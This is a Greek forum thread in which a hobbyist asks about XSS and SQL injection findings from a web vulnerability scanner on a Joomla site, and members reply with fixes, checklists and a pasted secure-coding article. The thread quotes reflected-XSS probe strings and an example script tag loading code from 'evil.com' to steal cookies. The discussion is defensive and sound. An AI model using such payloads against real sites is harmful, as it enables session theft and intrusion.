Έλεγχος ασφάλειας σε Joomla site

Joomla! forum. Joomla! Questions and Answers.

Συντονιστές: WebDev Moderators, Super-Moderators, PHP Moderators

Απάντηση
Άβαταρ μέλους
hitca
Honorary Member
Δημοσιεύσεις: 1919
Εγγραφή: 13 Ιουν 2010 19:41
Τοποθεσία: Brussels
Επικοινωνία:

Έλεγχος ασφάλειας σε Joomla site

Δημοσίευση από hitca » 15 Οκτ 2010 04:13

Χρησιμοποίησα ένα πρόγραμμα - Web Vulnerability Scanner - για τυπικό έλεγχο ενός Joomla site και στην αναφορά του έδειξε υποδείξεις "critical"

1-- ότι είναι vulerable σε "Cross Site Scripting" ---

( 3 μηνύματα >>
-----. This vulnerability affects /. (>> URI was set to 1<ScRiPt>prompt(951911)</ScRiPt>The input is reflected inside a text element.)

-----. This vulnerability affects /cms (>> URI was set to 1<ScRiPt>prompt(994896)</ScRiPt>The input is reflected inside a text element.)

-----. This vulnerability affects /cms/revert-content.php (>> URI was set to 1<ScRiPt>prompt(992089)</ScRiPt>The input is reflected inside a text element.)

...>>> προτείνει λύση >> Your script should filter metacharacters from user input.


2-- Micro CMS v.3.5 SQL Injection (εδώ >> Affected items >> /cms/revert-content.php )

Vulnerability description
Input passed to the "id" parameter in "/cms/revert-content.php" isn't properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

...>>> προτείνει λύση >> Edit the source code to ensure that input is properly sanitised. (όπου το μεταφράζω "εξυγιανθεί" !!)


Η ερώτησή μου...
-- Πόσο επικίνδυνο είναι αυτό για τους επισκέπτες και τη λειτουργία του (ή ενός) site; (είδα βέβαια την ανάλυση της επίθεσης)
-- Μπορούμε να το αποφύγουμε (ή να το διορθώσουμε έστω) ; (πχ με κάποιο firewall ή κάτι άλλο).Νομίζω ότι υπάρχουν κατάλληλα extension για τέτοιες λειτουργίες

Το site έχει όλα τα τελευταία updates (v1.15.21).
Η υποψία μου ότι κάτι δεν πάει καλά ξεκίνησε με το όταν επισκέπτεσαι το site αμέσως πετάγονται popup διαφημιστικά παράθυρα (..!!)
Το site ήταν 'κατεβασμένο' για ένα μήνα περίπου και το άνοιξα πάλι σήμερα.

Η όλη κατάσταση δεν έχει καμμία εμπορική σημασία. Απλώς το διατηρώ για να 'πειραματίζομαι' και για λόγους εκμάθησης και με ελάχιστο έως μηδαμινό περιεχόμενο αλλά με πολλά modules και extensions (για να μάθω τη λειτουργία τους)... αλλά όχι και να 'μολύνω' τυχόν επισκέπτες (και έχω και 1000 ως τώρα !)

Το site είναι αυτό >> http://achitech.eu5.org (είναι online κανονικά)

Πάσα συμβουλή και υπόδειξη δεκτή. Ευχαριστώ

-- EDIT -- Για να είμαι απόλυτα σαφής σχετικά με την αναφορά >> http://www.scribd.com/doc/39362940

Άβαταρ μέλους
korgr
Honorary Member
Δημοσιεύσεις: 5067
Εγγραφή: 07 Οκτ 2008 18:30
Τοποθεσία: Corinth
Επικοινωνία:

Έλεγχος ασφάλειας σε Joomla site

Δημοσίευση από korgr » 15 Οκτ 2010 08:39

Κατάλαβες γιατί ξελαρυγγιάζομαι στο vcdc? :wink:
Το πρόβλημα κατά πάσα πιθανότητα έγκειται στο ότι δεν φιλτράρεται σωστά κάποια μεταβλητή του $_SERVER array (συνήθως η $_SERVER['PHP_SELF']) με αποτέλεσμα να περνάει ύποπτος js κώδικας μέσα στην html (όπου γίνεται χρήση της ανωτέρω μεταβλητής).

Αν ήταν custom site θα σου έλεγα να βάλεις ένα φίλτρο σε κάποιο initialization included script.
Σε αυτές τις πλατφόρμες που δεν κινούμαι άνετα, θα περιμένω να σου προτείνει λύση κάποιος πιο ειδικός!

Μια και έχεις το software δεν μου κάνεις και μια scan στο http://www.korinthorama.gr/new/ :)

Άβαταρ μέλους
korgr
Honorary Member
Δημοσιεύσεις: 5067
Εγγραφή: 07 Οκτ 2008 18:30
Τοποθεσία: Corinth
Επικοινωνία:

Έλεγχος ασφάλειας σε Joomla site

Δημοσίευση από korgr » 15 Οκτ 2010 09:51

Κατέβασα το software αλλά νομίζω πως βγάζει fake alerts (τουλάχιστον για το korinthorama.gr)

Για την ακρίβεια η επίθεση που εφαρμόζει είναι του τύπου:
http://www.korinthorama.gr/new/contact. ... alert('xss attack')</script><br class="irrelevant">
και θεωρεί επικίνδυνο το να υπάρξει το κατωτέρω στον html κώδικα μετά την εκτέλεση της $_SERVER['PHP_SELF'].

Κώδικας: Επιλογή όλων

<a href="/korinthorama/new/contact.php/&quot;&gt;&lt;&gt;alert&#40;'xss attack'&#41;&lt;/&gt;&lt;br class=&quot;irrelevant&quot;&gt;?" style="color&#58;#0c1e22">δοκιμάστε ξανά</a>
Από την στιγμή που το φίλτρο μου πέραν της htmlspecialchars, έχει κάνει strip και τα double quotes και τις λέξεις script, νομίζω πως δεν μπορεί να με βλάψει.
Παρ' όλα αυτά σε κάθε τέτοιο inject βγάζει critical alert.

Ας με διορθώσει κάποιος πιο ειδικός σε θέματα XSS attacks
Τελευταία επεξεργασία από το μέλος korgr την 15 Οκτ 2010 17:02, έχει επεξεργασθεί 1 φορά συνολικά.

Άβαταρ μέλους
korgr
Honorary Member
Δημοσιεύσεις: 5067
Εγγραφή: 07 Οκτ 2008 18:30
Τοποθεσία: Corinth
Επικοινωνία:

Έλεγχος ασφάλειας σε Joomla site

Δημοσίευση από korgr » 15 Οκτ 2010 17:01

Ευχαριστώ για τα XSS tests στην contact form του korinthorama.gr τον φίλο που ασχολήθηκε! :D

Άβαταρ μέλους
hitca
Honorary Member
Δημοσιεύσεις: 1919
Εγγραφή: 13 Ιουν 2010 19:41
Τοποθεσία: Brussels
Επικοινωνία:

Έλεγχος ασφάλειας σε Joomla site

Δημοσίευση από hitca » 15 Οκτ 2010 17:19

Συμπτωματικά (!) κυκλοφόρησε μια ειδική έκδοση για "Joomla! 1.5: Developing Secure Sites " στις 13/10

>> http://www.lynda.com/home/DisplayCourse.aspx?lpk2=73559

Άβαταρ μέλους
hitca
Honorary Member
Δημοσιεύσεις: 1919
Εγγραφή: 13 Ιουν 2010 19:41
Τοποθεσία: Brussels
Επικοινωνία:

Έλεγχος ασφάλειας σε Joomla site

Δημοσίευση από hitca » 17 Οκτ 2010 02:29

Δεν βλέπω 'φώς' ούτε απάντηση επί του θέματος.... το site θα πάει στα σκουπίδια μάλλον (ήδη είναι offline).

Τι να δοκιμάσω να εγκαταστήσω Drupal ή Wordpress ?
Απ' ότι γνωρίζω το δεύτερο είναι πολύ καλό και έχει πάρα πολλά χρήσιμα extensions.

Άβαταρ μέλους
cpulse
Script Master
Δημοσιεύσεις: 1527
Εγγραφή: 21 Μαρ 2006 19:30
Τοποθεσία: Αθήνα village
Επικοινωνία:

Έλεγχος ασφάλειας σε Joomla site

Δημοσίευση από cpulse » 17 Οκτ 2010 02:46

Ρίξε μια ματία εδώ
http://docs.joomla.org/Vulnerable_Extensions_List

Είναι μια λίστα με extensions που έχουν καταγραφεί αδυναμίες.

Και το joomla και το wordpress και drupal είναι όλα open source προγράμματα. Αν έχουν κάποια αδυναμία την ξέρουν και οι hackers και εν καιρώ και οι developers τους. Συνήθως βγάζουν updates γρήγορα και κλείνουν την τρύπα όταν αυτή βγεί έρθει στην αντίληψη τους. Όμως αν έχεις εγκαταστήσει κάποιο extension τρίτου κατασκευαστή θα πρέπει με κάποιο τρόπο να σιγουρευτείς οτι κι εκείνος είναι αρκετά υπεύθυνος για να βγάζει διορθώσεις σε τρύπες που εμφανίζονται.

Σχετικά με το SQL injection σε γενικές γραμμές αντιμετωπίζεται εύκολα με την $db->Quotes()

Πχ αν έχεις ένα query
$db->setQuery("SELECT * FROM #__table WHERE id = " . $_GET['blabla']);

θα ήταν αρκετό να κλείσει η τρύπα μετατρέποντας τον κώδικα σε
$db->setQuery("SELECT * FROM #__table WHERE id = " . $db->Quotes($_GET['blabla']));

Αλλά αυτό ειναι θεωρητικό. Πρέπει να δεις ακριβώς τι υπάρχει στο σημείο που βγαίνει οτι υπάρχει το πρόβλημα και να κάνεις την κατάλληλη διόρθωση.

Και όλα αυτά με την προϋπόθεση οτι το πρόγραμμα που ψάχνει για vulnerabilities είναι σοβαρό. Άποψη μου είναι οτι δεν πρέπει να τους δίνεις και πολύ σημασία. Αν υπήρχε τόσο δυνατό vulnerability scanner θα άγγιζε τα όρια της τεχνητής νοημοσύνης. Καλύτερα να επικοινωνήσεις με τον κατασκευαστή του και να σου πεί εκείνος την γνώμη του.

Άβαταρ μέλους
hitca
Honorary Member
Δημοσιεύσεις: 1919
Εγγραφή: 13 Ιουν 2010 19:41
Τοποθεσία: Brussels
Επικοινωνία:

Έλεγχος ασφάλειας σε Joomla site

Δημοσίευση από hitca » 17 Οκτ 2010 03:36

Ευχαριστώ για τις υποδείξεις... (προβλέπεται μελέτη του θέματος καθότι μη σχετικός με κώδικες κλπ.)

Το πρόγραμμα που χρησιμοποίησα είναι αυτό "Acunetix Web Vulnerability Scanner" >> http://www.acunetix.com

Άβαταρ μέλους
hitca
Honorary Member
Δημοσιεύσεις: 1919
Εγγραφή: 13 Ιουν 2010 19:41
Τοποθεσία: Brussels
Επικοινωνία:

Έλεγχος ασφάλειας σε Joomla site

Δημοσίευση από hitca » 17 Οκτ 2010 16:21

Επανέρχομαι και σημειώνω κάτι που θεωρώ σημαντικό ...

Είχα κάνει εγκατάσταση ένα extension για προστασία του site

Έλαβα λοιπόν μία ωραιότατη αναφορά στο mailbox που χρησιμοποιώ για το site ...

......[ Hello,
Attention on 14 October 2010 there was an attempt to break your website. jFireWall successfully blocked the hackers attack.

Attack parameters:
Type of attack: SQL-Injection Scanner
IP adress: ********** ]....

Μάλλον είμαι εντάξει δηλαδή (τουλάχιστο έτσι το αντιλαμβάνομαι).
Πώς μπορώ επιπλέον να ελέγξω όλο το site; Εάν περιέχει πχ κακόβουλα στοιχεία κλπ;
Νομίζω υπάρχουν online υπηρεσίες για τέτοιες διεργασίες.

Άβαταρ μέλους
hitca
Honorary Member
Δημοσιεύσεις: 1919
Εγγραφή: 13 Ιουν 2010 19:41
Τοποθεσία: Brussels
Επικοινωνία:

Έλεγχος ασφάλειας σε Joomla site

Δημοσίευση από hitca » 18 Οκτ 2010 18:10

1. Cross-site scripting (XSS)

Cross-site scripting is an attack in which a user is tricked into executing code from an attacker’s site (say evil.com) in the context of our website (let’s call it www.mybiz.com). This is a problem regardless of what our website does, but the severity of the problem changes depending on what our users can do on the site. Let’s look at an example.

Let’s say that our site allows the user to post cute little messages for the world (or maybe only their friends) to see. We’d have code that looks something like this:

1
<?php
2
echo "$user said $message";
3
?>
To read the message in from the user, we’d have code like this:

1
<?php
2
$user = $_COOKIE['user'];
3
$message = $_REQUEST['message'];
4
if($message) {
5
save_message($user, $message);
6
}
7
?>
8
<input type="text" name="message" value="<?php echo $message ?>">
This works only as long as the user sticks to messages in plain text, or perhaps a few safe HTML tags like <strong> or <em>. We’re essentially trusting the user to only enter safe text. An attacker, though, may enter something like this:

1
Hi there...<script src="h++p://evil.com/bad-script.js"></script>
(Note that I’ve changed http to h++p to prevent auto-linking of the URL).

When a user views this message on their own page, they load bad-script.js into their page, and that script could do anything it wanted, for example, it could steal the contents of document.cookie, and then use that to impersonate the user and possibly send spam from their account, or more subtly, change the contents of the HTML page to do nasty things, possibly installing malware onto the reader’s computer. Remember that bad-script.js now executes in the context of www.mybiz.com.

This happens because we’ve trusted the user more than we should. If, instead, we only allow the user to enter contents that are safe to display on the page, we prevent this form of attack. We accomplish this using PHP’s input_filter extension.

We can change our PHP code to the following:

01
<?php
02
$user = filter_input(INPUT_COOKIE, 'user',
03
FILTER_SANITIZE_SPECIAL_CHARS);
04
$message = filter_input(INPUT_POST | INPUT_GET, 'message',
05
FILTER_SANITIZE_SPECIAL_CHARS);
06
if($message) {
07
save_message($user, $message);
08
}
09
?>
10
<input type="text" name="message" value="<?php echo $message ?>">
Notice that we run the filter on the input and not just before output. We do this to protect against the situation where a new use case may arise in the future, or a new programmer comes in to the project, and forgets to sanitize data before printing it out. By filtering at the input layer, we ensure that we never store unsafe data. The side-effect of this is that if you have data that needs to be displayed in a non-web context (e.g. a mobile text message/pager message), then it may be unsuitably encoded. You may need further processing of the data before sending it to that context.

Now chances are that almost everything you get from the user is going to be written back to the browser at some point, so it may be best to just set the default filter to FILTER_SANITIZE_SPECIAL_CHARS by changing filter.default in your php.ini file.

PHP has many different input filters, and it’s important to use the one most relevant to your data. Very often an XSS creeps in because we use FILTER_SANITIZE_SPECIAL_CHARS when we should have used FILTER_SANITIZE_ENCODED or FILTER_SANITIZE_URL or vice-versa. You should also carefully review any code that uses something like html_entity_decode, because this could potentially open your code up for attack by undoing the encoding added by the input filter.

Κατόπιν αρκετής έρευνας εδώ Common Security Mistakes in Web Applications

-- Υπάρχουν και υποδείξεις επίσης για "Cross-site request forgery (CSRF)" - "Click-jacking" - "SQL injection" - "Shell injection" - "Phishing" --

και εδώ PHP Zone

Πολύ σημαντικό θεωρείται >> [..... Always serve your login page over SSL. This requires more server resources, but it ensures that the user’s browser verifies that the page isn’t being redirected to a malicious site....]

Με εντυπωσίασε το "always" που χρησιμοποιεί ο αρθρογράφος

θα ακολουθήσω επίσης κάποιες οδηγίες και υποδείξεις που αναφέρονται..

Άβαταρ μέλους
cpulse
Script Master
Δημοσιεύσεις: 1527
Εγγραφή: 21 Μαρ 2006 19:30
Τοποθεσία: Αθήνα village
Επικοινωνία:

Έλεγχος ασφάλειας σε Joomla site

Δημοσίευση από cpulse » 21 Οκτ 2010 01:32

Αυτά είναι μόνο μερικά από τα πράγματα που πρέπει να προσέξει κανείς.

Το security μπορεί να πάει όσο βαθεία θες. Μη νομίζεις οτι και το SSL είναι η τελική απάντηση σε όλα σου τα προβλήματα. Υπάρχουν πολλές επιθέσεις από τις οποίες η ποιο sexy είναι η Man in the middle attack η οποία πάει μακριά. Αλλά για να την εφαρμόσεις πρέπει να κάνεις πολλά παρανοϊκά πράγματα.

Ειδικά για το vulnerability scanner που έγραψες πριν, ήθελα να σου πω οτι τέτοια scanners για κώδικα πρέπει να φτάσουν σε επίπεδα τεχνητής νοημοσύνης για να κάνουν σοβαρή δουλειά. Δεν είναι σαν τα κλασσικά vulnerability scanners που κάνουν port scans και ψάχνουν για πολύ συγκεκριμένες αδυναμίες σε ένα δίκτυο ή σε ένα kernel. Ο κώδικας είναι έκθεση ιδεών.

Παράδειγμα:

Κώδικας: Επιλογή όλων

$v = $_GET&#91;'v'&#93;;
$sql1 = 'select field from table';
$sql2 = ' where id = ' . $v;
$db->setQuery&#40;$sql1 . $sql2&#41;;
Αυτό είναι τρύπιο. Ο scanner που έχεις το καταλαβαίνει; Για να το καταλάβει πρέπει να κάνει parse και run τον κώδικα. Φαντάσου να παρεμβάλλεται και κανένα function ή κανένα object.

Ποτέ δεν θα είσαι 100% ασφαλής. Όμως αν θες να βρείς μια ηρεμία στην σκέψη σου είναι να αναρωτηθείς αν αξίζει για κάποιον να θέλει να δαπανήσει πολύ χρόνο και μάλλον και χρήμα για να σε πολεμήσει. Οι πολύ hardcore προγραμματιστές που έχουν τις γνώσεις για να προκαλέσουν τέτοιο κακό συνήθως είναι καλοπληρωμένοι προγραμματιστές σε μεγάλες εταιρίες. Είναι χωρτασμένοι καρχαρίες και συνήθως είναι και δημιουργικοί χαρακτήρες, όχι καταστροφικοί.. δεν νομίζω οτι αξίζει να μπαίνεις στον κόπο να τους φοβάσαι. Αν ακολουθείς τα guidelines ασφάλειας θα δυσκολευτείς πολύ να βρείς πρόβλημα ασφαλείας στα sites σου.

Συγκεκριμένα για το Joomla! τα guidelines είναι εδώ
http://docs.joomla.org/Category:Security_Checklist

Φυσικά αν συνεχίσεις να έχεις τις ανησυχίες σου τότε ψάξε και θα βρείς πολλά. Ο κόσμος του security είναι ατέλειοτος και η παράνοια του πολλές φορές μπορεί να γίνει και πηγή για δημιουργικότητα.

Άβαταρ μέλους
hitca
Honorary Member
Δημοσιεύσεις: 1919
Εγγραφή: 13 Ιουν 2010 19:41
Τοποθεσία: Brussels
Επικοινωνία:

Έλεγχος ασφάλειας σε Joomla site

Δημοσίευση από hitca » 21 Οκτ 2010 12:33

Ευχαριστώ και πάλι για τις αναφορές και υποδείξεις.

KarolosGIM
Δημοσιεύσεις: 9
Εγγραφή: 15 Αύγ 2010 18:22

Έλεγχος ασφάλειας σε Joomla site

Δημοσίευση από KarolosGIM » 03 Νοέμ 2010 22:39

Το Joomla ειναι μια απο τις απιο ασφαλεις open source πλατφορμες!

ΠΡΟΣΟΧΗ: ΤΟ JOOMLA!

Οχι το Joomla με 5 προσθετα και 3 plugins :-D

Ακολουθηστε κατα γραμμα τις υποδειξεις του Joomla.org

Μη βαζετε 3rd-party extensions εκτον αν ειναι σουπερ απαραιτητο, και συμβουλευτειτε τη λιστα με τα Joomla extensions vulnerabilities

Εγκαταστηστε καποιο καλο προσθετο ασφαλειας οπως το OSE Security

Τακτικα updates στο Joomla (και σε οτι προσθετα εχετε βαλει)

Τσεκαρετε κατα ποσο ασφαλης ειναι ο ιδιος ο server

Τσεκαρετε τη δυναμη των passwords των χρηστων

Ο υπολογιστης σας ειναι ασφαλης (ιοι, trojans, key loggers...)?


ΥΓ
Το scanner αυτο λεει "πατατουλες" για τη σελιδα του contact (συμφωνω με τον προλαλησαντα για τη τεχνητη νοημοσηνη). Θα ειχαν χακαριστει μερικες 10αδες χιλιαδες σελιδες Joomla σε λιγοτερο απο μια βδομαδα

ΥΥΓ
Cpulse σου βγαζω το καπελο ;-)

ΥΥΓ
Μεσα στο site μου εχω βαλει καποιες πληροφοριες για Joomla security για οσους θελουν να το ψαξουν κι αλλο

Απάντηση

Επιστροφή στο “Joomla! γενικά”

Μέλη σε σύνδεση

Μέλη σε αυτήν τη Δ. Συζήτηση: Δεν υπάρχουν εγγεγραμμένα μέλη και 0 επισκέπτες